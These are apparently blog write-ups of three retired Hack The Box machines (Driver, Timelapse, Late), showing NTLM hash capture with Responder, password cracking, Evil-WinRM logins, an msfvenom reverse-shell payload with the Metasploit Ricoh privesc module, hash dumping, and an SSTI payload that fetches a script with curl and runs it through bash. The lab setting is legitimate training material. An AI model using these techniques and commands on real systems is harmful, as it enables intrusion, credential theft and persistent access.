6.2-RELEASE (86%), Microsoft Windows 10 1607 (85%), Microsoft Windows 10 1511 (85%), Microsoft Windows 7 or Windows Server 2008 R2 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results: | smb2-time: | date: 2023-03-18T02:03:42 |_ start_date: 2023-03-18T02:00:06 | smb2-security-mode: | 311: |_ Message signing enabled but not required | smb-security-mode: | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s TRACEROUTE (using port 445/tcp) HOP RTT ADDRESS 1 11.63 ms 10.10.14.1 2 12.10 ms 10.129.95.238 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 166.69 seconds
As SMB 445 is open I will attempt to enumerate any shares with null authentication. Unfortunately, my attempts to enumerate the host with both Crackmapexec and SMBClient both fail. Crackmapexec does give us the hostname and domain name of DRIVER though so not all is lost.
Upon visiting the IP address in my browser, I was presented with a basic authentication page. I tried the username admin and the password admin as anybody would and to my surprise, it was authenticated. The web application appeared to be a management portal for a printer. The only page that seems to load for me is the Firmware Updates page.
Hack The Box Driver Printer
I kicked off a directory and file brute force in the background to see if it would find anything interesting. I also did it because IppSec is doing it and he has great success so I think it’s a good idea to copy whatever he does.
Ok, this next bit is amazing and reminds me why I love security so much. So, based on the article listed >>here<< we can create a special file. When uploaded to the printer and processed, it makes the printer reach out to our machine for a file. What’s amazing about this though is that it sends its NTLM hash with the request (probably explaining it wrong). So if we run responder when uploading the file, we can capture the NTLM hash and then gain a foothold.
First, we need to craft the file. As you can see below, I have created a file called attack.scf and added my IP address to the IconFile path.
Next, we need to set up Responder to listen on our tun0 interface. This is pretty simple, just run responder with the ‘-I’ flag and the name of the interface.
Then go and upload the file to the printer and watch it light up like a Christmas tree. I’ve included a screenshot and the tool output because of woooo colourful terminal and because I might need the hash later.
┌──(kali㉿kali)-[~/Driver] └─$ sudo responder -I tun0 [sudo] password for kali: __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 3.1.3.0 To support this project: Patreon -> https://www.patreon.com/PythonResponder Paypal -> https://paypal.me/PythonResponder Author: Laurent Gaffie ([email protected]) To kill this script hit CTRL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] MDNS [ON] DNS [ON] DHCP [OFF] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON] [+] HTTP Options: Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Force ESS downgrade [OFF] [+] Generic Options: Responder NIC [tun0] Responder IP [10.10.14.126] Responder IPv6 [dead:beef:2::107c] Challenge set [random] Dont Respond To Names ['ISATAP'] [+] Current Session Variables: Responder Machine Name [WIN-90O8CXYSD47] Responder Domain Name [4H5R.LOCAL] Responder DCE-RPC Port [45794] [+] Listening for events... [SMB] NTLMv2-SSP Client : 10.129.95.238 [SMB] NTLMv2-SSP Username : DRIVER\tony [SMB] NTLMv2-SSP Hash : tony::DRIVER:359b130c9e47eb6b:BD5851B33F56BC9CD76AF506A78366F3:010100000000000000468C63E658D901EF4AA899FD3936930000000002000800340048003500520001001E00570049004E002D00390030004F003800430058005900530044003400370004003400570049004E002D00390030004F00380043005800590053004400340037002E0034004800350052002E004C004F00430041004C000300140034004800350052002E004C004F00430041004C000500140034004800350052002E004C004F00430041004C000700080000468C63E658D90106000400020000000800300030000000000000000000000000200000FFBC664A5D788CDEDE83E208303BA948FFE5B58083E86BE170165EE23D6402760A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E00310032003600000000000000000000000000 [*] Skipping previously captured hash for DRIVER\tony
Now that we have the hash we can feed it to our pet kitty and see if it can crack it. I used the rockyou.txt wordlist and it cracked it pretty quickly. As you can see below, the password is ‘liltony’. I wonder if his girlfriend gave him that name.
This is incredibly fun! if you watch IppSec videos when doing boxes, do you pause it before he runs the command so that you can run it first and see if you can remember it and if it works? just me? Anyway, we can now run Crackmapexec with credentials and enumerate shares on the host.
However, I also noticed on our Nmap scan that port 5989 was open. We can now authenticate by connecting to the host with Evil-WinRM. We can also now grab the user flag from Tony’s desktop (Thanks Tony). I’m genuinely having a blast with this box. It is a lot of fun and even though it’s retired, I would recommend you go and give it a go. Lots of fun.
┌──(kali㉿kali)-[~/Driver] └─$ evil-winrm -i 10.129.95.238 -u 'tony' -p 'liltony' Evil-WinRM shell v3.4 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\tony\Documents> cd ..\Desktop *Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt 6d3▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓2d7
Driver Host Enumeration
Once connected to the host with Evil-WinRM it was time to perform some enumeration. Every step we take, we have to stop and enumerate. Also, I just love seeing that pretty little pea below. How can you not find it adorable? Text output wouldn’t do you justice so you get a screenshot and tool output.
WinPEAS kindly tells us that the user has a PowerShell history file and that it might be worth checking out. You can see this under the line that says Found Windows Files. Then underneath that, you can see the contents of the file.
ÉÍÍÍÍÍÍÍÍÍ͹ Found Windows Files File: C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt*Evil-WinRM* PS C:\Users\tony\Documents> type C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:' ping 1.1.1.1 ping 1.1.1.1
Privilege Escalation
While the history file doesn’t give us credentials, it does point us in the right direction. When there is a history file, the commands within it are seldom for our entertainment. It is to point us in the right direction. RICOH printers have a known local privilege escalation vulnerability due to the permissions on the drivers.
Printer Exploit
Metasploit has a module for exploiting this vulnerability. If we create a payload using msfvenom and upload it to the host. We can then create a handler in Metasploit to catch our reverse shell.
┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.126 LPORT=9001 -f exe -o msf.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 510 bytes Final size of exe file: 7168 bytes Saved as: msf.exe
As you can see below, I am using the multi-handler to catch our 64-bit payload.
msf6 exploit(windows/winrm/winrm_script_exec) > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost tun0 lhost => 10.10.14.126 msf6 exploit(multi/handler) > set lport 9001 lport => 9001 msf6 exploit(multi/handler) > options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 10.10.14.126 yes The listen address (an interface may be specified) LPORT 9001 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf6 exploit(multi/handler) > run
Then we upload the payload via Evil-WinRM and execute it.
msf6 exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : DRIVER OS : Windows 10 (10.0 Build 10240). Architecture : x64 System Language : en_US Meterpreter : x64/windows meterpreter >
Then we background our session by typing background or using ‘ctrl z’ . Then we need to search for ‘ricoh’. You can see from the output below that we need to use option 1 which allows us to perform privilege escalation.
msf6 exploit(multi/handler) > search ricoh Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- 0 exploit/windows/ftp/ricoh_dl_bof 2012-03-01 normal Yes Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow 1 exploit/windows/local/ricoh_driver_privesc 2020-01-22 normal Yes Ricoh Driver Privilege Escalation Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/local/ricoh_driver_privesc msf6 exploit(multi/handler) > use 1 [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
Attempting to exploit this results in a catastrophic error as you can see from the screenshot below.
What now?
I was now intensely following along with IppSec’s video. I swear, sometimes he makes us do things even though he knows it won’t work. Just to force that education into our brains. So I went through the whole process again with a 32-bit payload and that didn’t work either. You can see the different sessions below, I won’t bore you with going through the payload generation again.
msf6 exploit(multi/handler) > sessions -i Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows DRIVER\tony @ DRIVER 10.10.14.126:9001 -> 10.129.95.238:49435 (10.129.95.238) 2 meterpreter x64/windows DRIVER\tony @ DRIVER 10.10.14.126:9001 -> 10.129.95.238:49436 (10.129.95.238)
We can now migrate to this process to something interactive.
meterpreter > migrate 4244 [*] Migrating from 4636 to 4244... [*] Migration completed successfully. meterpreter > getpid Current pid: 4244 meterpreter >
Then if we run the exploit again we should now get our shell back as NT AUTHORITY which means we have successfully elevated our privledges.
msf6 exploit(windows/local/ricoh_driver_privesc) > sessions -i Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows DRIVER\tony @ DRIVER 10.10.14.126:9001 -> 10.129.95.238:49435 (10.129.95.238) 2 meterpreter x86/windows DRIVER\tony @ DRIVER 10.10.14.126:9001 -> 10.129.95.238:49436 (10.129.95.238) 3 meterpreter x86/windows DRIVER\tony @ DRIVER 10.10.14.126:9002 -> 10.129.95.238:49439 (10.129.95.238) 4 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DRIVER 10.10.14.126:9003 -> 10.129.95.238:49441 (10.129.95.238)
Then we can run hash dump just for fun and because I want those hashes.
We can try and do an LSA dump too but it doesn’t seem to have anything.
msf6 post(windows/gather/lsa_secrets) > exploit [*] Executing module against DRIVER [*] Obtaining boot key... [*] Obtaining Lsa key... [*] Vista or above system [+] Key: DefaultPassword Decrypted Value: liltony [+] Key: DPAPI_SYSTEM Decrypted Value: ,h? bh>h'jh:]Pr/ [*] Writing to loot... [*] Data saved in: /root/.msf4/loot/20230317172207_default_10.129.95.238_registry.lsa.sec_447392.txt [*] Post module execution complet
Finally, we can interact with our session, drop to shell and grab the root flag from the administrator desktop.
C:\Users\Administrator\Desktop>type root.txt type root.txt 302▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓903
Driver Review
Wow, Driver is actually an incredible box to learn on. IppSec’s video was a huge help although he held out on us until the very end. I learnt a lot from this video but I also noticed that I was able to do a lot more on my own. I used to struggle a lot with Windows machines but I think I’m starting to get a basic process down. I’m looking forward to doing more Windows boxes honestly. Getting bored of doing Linux ones even though I love Linux. Anyway, that’s all for today.
Hello world, welcome to haxez. In this post, I’m going to be going through the Timelapse box on Hack The Box. This is a Windows box which acts as a domain controller. I’ve not read too much about it yet but I believe we have to crack a zip. Once on the box, we have to find a hidden password to elevate our privileges. I believe it has something to do with LAPS (local administrative password solution) due to the name.
Timelapse Enumeration
First, I sent a ping request to ensure that the box had come online.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse] └──╼ [★]$ ping 10.129.243.210 PING 10.129.243.210 (10.129.243.210) 56(84) bytes of data. 64 bytes from 10.129.243.210: icmp_seq=1 ttl=127 time=12.0 ms
With the box up and responding, I started a Nmap scan to see what services were listening on the box. Services are the windows and doors of a computer. A misconfigured service could grant us access to the box much like an unlocked window or door would give us access to a house.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse] └──╼ [★]$ sudo nmap -sC -sV -A -p- 10.129.243.210 [sudo] password for haxez: Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 07:05 GMT Nmap scan report for 10.129.243.210 Host is up (0.014s latency). Not shown: 65517 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-03-17 15:07:47Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ldapssl? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl? 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 | ssl-cert: Subject: commonName=dc01.timelapse.htb | Not valid before: 2021-10-25T14:05:29 |_Not valid after: 2022-10-25T14:25:29 |_http-title: Not Found | tls-alpn: |_ http/1.1 |_ssl-date: 2023-03-17T15:09:22+00:00; +7h59m59s from scanner time. 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49696/tcp open msrpc Microsoft Windows RPC 53755/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete No OS matches for host Network Distance: 2 hops Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 311: |_ Message signing enabled and required |_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m58s | smb2-time: | date: 2023-03-17T15:08:45 |_ start_date: N/A TRACEROUTE (using port 139/tcp) HOP RTT ADDRESS 1 13.36 ms 10.10.14.1 2 13.44 ms 10.129.243.210 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 241.23 seconds
SMB Shares
The Timelapse box has ports 139 and 445 open, this is probably a good place to start enumerating. Using the tool Crackmapexec, we can see what SMB shares are available on the host.
We can achieve the same thing with smbclient only without displaying what we have permission to access. This could be useful if you’re in an exam and one of your tools decides it’s not going to work.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse] └──╼ [★]$ smbclient -L //10.129.243.210/ Password for [WORKGROUP\haxez]: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Shares Disk SYSVOL Disk Logon server share SMB1 disabled -- no workgroup available
We can then connect to the share and poke around using smbclient. Once connected, we find two directories named Dev and HelpDesk. Within the Dev directory, there is an interesting file called winrm_backup.zip.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse] └──╼ [★]$ smbclient \\\\10.129.243.210\\shares -U 'haxez' Password for [WORKGROUP\haxez]: Try "help" to get a list of possible commands. smb: \> dir . D 0 Mon Oct 25 16:39:15 2021 .. D 0 Mon Oct 25 16:39:15 2021 Dev D 0 Mon Oct 25 20:40:06 2021 HelpDesk D 0 Mon Oct 25 16:48:42 2021 6367231 blocks of size 4096. 1242290 blocks available smb: \> cd Dev smb: \Dev\> dir . D 0 Mon Oct 25 20:40:06 2021 .. D 0 Mon Oct 25 20:40:06 2021 winrm_backup.zip A 2611 Mon Oct 25 16:46:42 2021 6367231 blocks of size 4096. 1249905 blocks available smb: \Dev\> cd ..\HelpDesk smb: \HelpDesk\> dir . D 0 Mon Oct 25 16:48:42 2021 .. D 0 Mon Oct 25 16:48:42 2021 LAPS.x64.msi A 1118208 Mon Oct 25 15:57:50 2021 LAPS_Datasheet.docx A 104422 Mon Oct 25 15:57:46 2021 LAPS_OperationsGuide.docx A 641378 Mon Oct 25 15:57:40 2021 LAPS_TechnicalSpecification.docx A 72683 Mon Oct 25 15:57:44 2021 6367231 blocks of size 4096. 1248140 blocks available
Lets Get Cracking
The zip file that we downloaded is password protected. Fortunately, there is an awesome tool called zip2john which generates a hash of the zip file. This hash can then be fed to our friend John. The command below runs zip2john against the file and appends the output to a file called ziphash.txt.
Next, can then crack the password for the zip file using John and the rockyou.txt wordlist. As you can see below, the password appears to be ‘supremelegacy’
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse] └──╼ [★]$ sudo john ziphash.txt --wordlist:/home/haxez/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx) 1g 0:00:00:00 DONE (2023-03-17 07:28) 3.703g/s 12864Kp/s 12864Kc/s 12864KC/s surfroxy154..supergay01 Use the "--show" option to display all of the cracked passwords reliably Session completed
Now, we can extract the zip file and see what juicy secrets hide inside. We can extract the contents of the zip file with the unzip command. Next, we will then get prompted for the password which we now know thanks to John.
Interestingly, the output appears to be a pfx file. This too appears to be password protected.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse] └──╼ [★]$ ls legacyy_dev_auth.pfx smb.txt winrm_backup.zip ziphash.txt ┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse] └──╼ [★]$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes Enter Import Password: Mac verify error: invalid password?
Cracking On
In order to use the private key and certificate from the PFX file, we will need to crack it first. Fortunately, there is another cool tool called pfx2john which creates a crackable hash from a PFX file.
Admittedly, I had trouble with this on Parrot and had to switch to Kali. For some reason, when generating the hash on Parrot, it wasn’t recognised when trying to crack it with John. I ran the same command on Kali, and then cracked the hash on Parrot.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse] └──╼ [★]$ sudo john /media/sf_OneDrive/Hack\ The\ Box/Machines/Timelapse/legacyy_dev_auth.pfx.hash --wordlist:/home/haxez/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (pfx [PKCS12 PBE (.pfx, .p12) (SHA-1 to SHA-512) 256/256 AVX2 8x]) Cost 1 (iteration count) is 2000 for all loaded hashes Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status thuglegacy (legacyy_dev_auth.pfx) 1g 0:00:00:37 DONE (2023-03-17 07:53) 0.02682g/s 86688p/s 86688c/s 86688C/s thuglife06..thsco04 Use the "--show" option to display all of the cracked passwords reliably Session completed
As you can see from the output above, the password for the file is thuglegacy. Once we have used OpenSSL to spit out the private key and certificate files, we should be able to use it to connect to the box.
With the files above, we should now be able to login to the box via Evil-WinRM. We give ‘evil-winrm’ the ‘-c’ flag to specify the certificate and the ‘-k’ file to specify the private key.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse] └──╼ [★]$ evil-winrm -S -i 10.129.243.210 -c key.cert -k key.pem Evil-WinRM shell v3.4 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Warning: SSL enabled Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\legacyy\Documents> whoami timelapse\legacyy
We can now of course grab the user flag from the desktop of the legacy user that we connected with.
*Evil-WinRM* PS C:\Users\legacyy\Desktop> dir Directory: C:\Users\legacyy\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 3/17/2023 7:59 AM 34 user.txt *Evil-WinRM* PS C:\Users\legacyy\Desktop> type user.txt 472▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓a7e
Timelapse Enumeration
To successfully hack anything, we need information. Information is a hacker’s most important resource. That’s why we cycle back through to the enumeration stage whenever we make progress. Did you get the user? time to enumerate! did you move laterally to another user? time to enumerate. Trying to hack without information is like trying to live without air.
Interestingly, it found the history file but didn’t find anything suspicious inside it. I’m not sure if this is a function of WinPEAS, I thought it was but ultimately running WinPEAS didn’t really give me much to go on.
Directory of C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine 03/04/2022 12:46 AM 434 ConsoleHost_history.txt 1 File(s) 434 bytes 0 Dir(s) 6,885,826,560 bytes free
However, if we manually go in and check the history file then we can see some sensitive information (a username and password) has been recorded. As you can see below, the user ran some commands and included their password of ‘E3R$Q62¹²p7PLlC%KWaxuaV’, we can also see that their username is ‘svc_deploy’.
Now that we have another user’s credentials, let’s log in as them via WinRm and see if they have access to anything that we can use to get Administrator on this machine.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse] └──╼ [★]$ evil-winrm -S -i 10.129.243.210 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' Evil-WinRM shell v3.4 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Warning: SSL enabled Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\svc_deploy\Documents>
I did run Bloodhound to enumerate the active directory but I don’t think it’s needed for this box. I didn’t find much on it and the shortest path to Domain Admin didn’t appear to be possible with our current privileges. Also, yes I ran it on Kali because my Parrot box is using a newer version of Neo4j which appears to break Bloodhound. Think I might have to stick with Kali from here on out and just not update anything.
Fortunately, by checking what groups we’re in we can see that we’re part of the ‘LAPS_Readers’ group which should give us the ability to read the local administrator’s password.
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> net user svc_deploy User name svc_deploy Full Name svc_deploy Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires NeverPassword last set 10/25/2021 12:12:37 PM Password expires Never Password changeable 10/26/2021 12:12:37 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 10/25/2021 12:25:53 PM Logon hours allowed All Local Group Memberships *Remote Management Use Global Group memberships *LAPS_Readers *Domain Users The command completed successfully.
If we run the following command we can get the administrator password.
We can then log in to the box as the Administrator via Win-RM. Once there we can navigate to the TRX user’s desktop and grab the root flag and complete the box.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse] └──╼ [★]$ evil-winrm -S -i 10.129.243.210 -u 'Administrator' -p 'AGF7R+z)1;x0S6Q$)OK853$6' Evil-WinRM shell v3.4 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Warning: SSL enabled Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\Users\ *Evil-WinRM* PS C:\Users> dir Directory: C:\Users Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 10/23/2021 11:27 AM Administrator d----- 10/25/2021 8:22 AM legacyy d-r--- 10/23/2021 11:27 AM Public d----- 10/25/2021 12:23 PM svc_deploy d----- 2/23/2022 5:45 PM TR *Evil-WinRM* PS C:\Users> cd TRX *Evil-WinRM* PS C:\Users\TRX> cd Desktop *Evil-WinRM* PS C:\Users\TRX\Desktop> dir Directory: C:\Users\TRX\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 3/17/2023 7:59 AM 34 root.txt *Evil-WinRM* PS C:\Users\TRX\Desktop> type root.txt fa7▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e62
Timelapse Review
This was a really fun box, I’m starting to work things out for myself but that isn’t to say I didn’t head over to the Wizards youtube channel from time to time. The biggest problem I faced with this box is that my tools were broken. PFX to John didn’t work properly, Bloodhound didn’t work properly. I think I’m going to switch back to Kali for the moment as it has all the tools installed and ready to go. Honestly, I can’t be bothered to keep falling down the google rabbit hole of trying to fix tools while doing boxes. This was a great box though, I didn’t know what LAPS was before doing this box and now I do.
Hello world, welcome to haxez. It’s time for another Hack The Box machine write up and this time we’re looking at Late. This machine has an interesting foothold which I’m looking forward to doing. I haven’t read up too much about it but let us give it a go.
Late Enumeration
As you can see from the Nmap results below, we have port 22 for SSH and port 80 for HTTP open. SSH is unlikely to be the foothold as we have port 80 looking at us. From the banners, we can see that it’s using Nginx and that the title of the application is Best online image tools.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Late] └──╼ [★]$ sudo nmap -sC -sV -A -p- 10.129.227.134 -oA late [sudo] password for haxez: Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-16 07:54 GMT Nmap scan report for 10.129.227.134 Host is up (0.013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 025e290ea3af4e729da4fe0dcb5d8307 (RSA) | 256 41e1fe03a5c797c4d51677f3410ce9fb (ECDSA) |_ 256 28394698171e461a1ea1ab3b9a577048 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Late - Best online image tools Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5.0 OS details: Linux 5.0 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 53/tcp) HOP RTT ADDRESS 1 11.84 ms 10.10.14.1 2 13.02 ms 10.129.227.134 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.80 seconds
The Application
As you can see from the screenshot below, the application was basic and didn’t have much to interact with. However, there was a link on the page to the “late free online photo editor”.
Clicking this link redirects you to ‘http://images.late.htb’ which doesn’t load because it isn’t in our host file. So, we need to add this to our host file so that the DNS resolves correctly. Then, we will be able to see the application.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Late] └──╼ [★]$ echo '10.129.227.134 images.late.htb' | sudo tee -a /etc/hosts 10.129.227.134 images.late.htb
The application now loads and appears to provide an image-converting tool. More specifically, it seems to be an OCR tool in that it converts images of text to text. OCR, or Optical Character Recognition, is a technology that enables the conversion of scanned images into digital text. OCR software works by analyzing the shapes and patterns of characters and converting them into machine-readable text. One additional note, the application proudly claims it is using Flask.
Late upload
Late Foodhold
Since the application is using Flask, it is likely using templates to build the application. Wouldn’t it be extremely cool if we could submit an image of a Server Side Template Injection (SSTI). Then when the application converts the image to text, it executes the code and gives us remote code execution. Using notepad and a screenshot tool we can create images and upload them to test this proof of concept. The image below is the image I used.
I saved the file but Windows gave it a ‘.PNG’ extension and the application doesn’t like it. I used my terminal to move it to a new file with a ‘.png’ extension. As you can see below, the application processes it and produces a text file with the answer to the sum.
Time to try something a bit more complicated, let’s see if we can return the values of the ID command. First, we create and export the image containing the payload which I stole from HackTricks. Unfortunately, it seems that a lot of fonts make double underscores look like one line. This could cause problems with the character recognition software.
I have been doing this for what seems like an eternity, ok not quite. However, this really is a tedious process. It doesn’t teach me anything, it is just trial and error and I don’t really like this type of challenge. I tried using the script in the official walkthrough but that didn’t work. I have gone through multiple payloads as you can see below.
The problem seems to be with it messing up a single character. For example, a lot of the time it would miss an underscore where the text made two look like one line. You can see from the one below that it is changing the tick to a single speech mark. This one is frustrating.
This results in me getting errors and more errors.
Time to head over to Youtube and see how the Wizard solved it.
Standing On The Shoulders Of Giants
I’d eventually had enough and snipped the payload from IppSec’s video. It looked exactly the same as mine. I even did it in Comic Sans but I still couldn’t get it to work. I will put them below and you can decide what the difference is. You can tell which one is from IppSec’s video because it still has the purple clip from Flame Shot.
I have to be honest, if the margin for error is so small that two almost identical images get processed differently then I have to say that this is a bit stupid. Rant over. It finally worked and I was able to get ID. However, since it would only process the one from the Youtube video, I have a feeling I’m going to struggle when it comes to getting a shell.
Better Late Than Never
Before I continue, please take a look at the screenshot below. That is how many times I had to modify the payload before I was able to get it to work. It may not seem like a lot but when you’re tinkering with each one and getting errors it becomes incredibly frustrating. This wasn’t fun, the concept was fun but the execution was terrible. It should have had a larger margin for error. Even when my code was right, it didn’t work.
I finally got a payload to work based on the same principle that the wizard used on his youtube video. I set up a python web server and created an index file. The index file contained a bash command which just sent a reverse shell back to my host. The picture payload when processed would use curl to get the file and execute it with bash. I think this is the exact image I used in the end, the font type was Bahnschrift Light. Whether or not you get your reverse shell is pure luck… and it really shouldn’t be.
When the image was processed by the server it sent a get request to my file on my webserver which you can see in the output below. It took a few attempts.
As you can imagine, the first thing I did after getting my shell was to upgrade it. The next thing I did was throw an SSH key into the user’s authorized key file to make sure I could get back on the box. There was no way in hell I was going to go through the process of getting a foothold again. Absolutely ridiculous.
